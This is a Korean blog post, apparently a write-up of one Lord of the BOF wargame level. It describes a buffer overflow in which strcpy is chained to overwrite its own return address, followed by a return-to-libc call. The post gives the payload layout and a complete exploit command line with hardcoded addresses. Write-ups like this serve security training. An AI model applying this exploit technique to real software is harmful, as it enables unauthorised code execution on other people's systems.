Ret에 strcpy를 넣으라고 하네요..
그럼 main 함수의 Ret는 strcpy로 고정되있으니 strcpy의 Ret를 덮으면 되겠거니 했는데 strcpy 의 Ret를 A로 덮어 버리네요
그럼 strcpy를 호출한 이상 strcpy를 이용해서 Ret의 값을 바꿔주면 되지 않을까.....요?
고로 계획을 세워보면
dummy + SFP [44 byte] + strcpy 주소 [4 byte] + dummy[4 byte] + buffer+48 주소 [4 byte] + argv[2] 주소 [4bye] + RTL
어후 복잡해라.
buffer + 48 과 argv[2] 주소는 언제나처럼 소스코드 복사 하셔서 printf("%p %p\n", buffer+48 , argv[2]); 하시면 됩니다
그러면 주소가 각각 0xbffffaa0 0xbffffc3c 가 나오니 이를 이용해서 공격을 해보면
./nightmare `python -c 'print "A"*44 + "\x10\x84\x04\x08" +"AAAA"+"\xa0\xfa\xff\xbf" + "\x3c\xfc\xff\xbf" + " " + "\xe0\x8a\x05\x40"+"\xe0\x91\x03\x40"+"\xf9\xbf\x0f\x40"'`
클리어!
'Pwnable > LOB' 카테고리의 다른 글
[Level20] xavius -> death_knight (0) | 2017.05.18 |
---|---|
[Level19] nightmare -> xavius (0) | 2017.05.18 |
[Level17] zombie_assassin -> succubus (0) | 2017.05.18 |
[Level16] assassin -> zombie_assassin (0) | 2017.05.17 |
[Level15] giant -> assassin (0) | 2017.05.17 |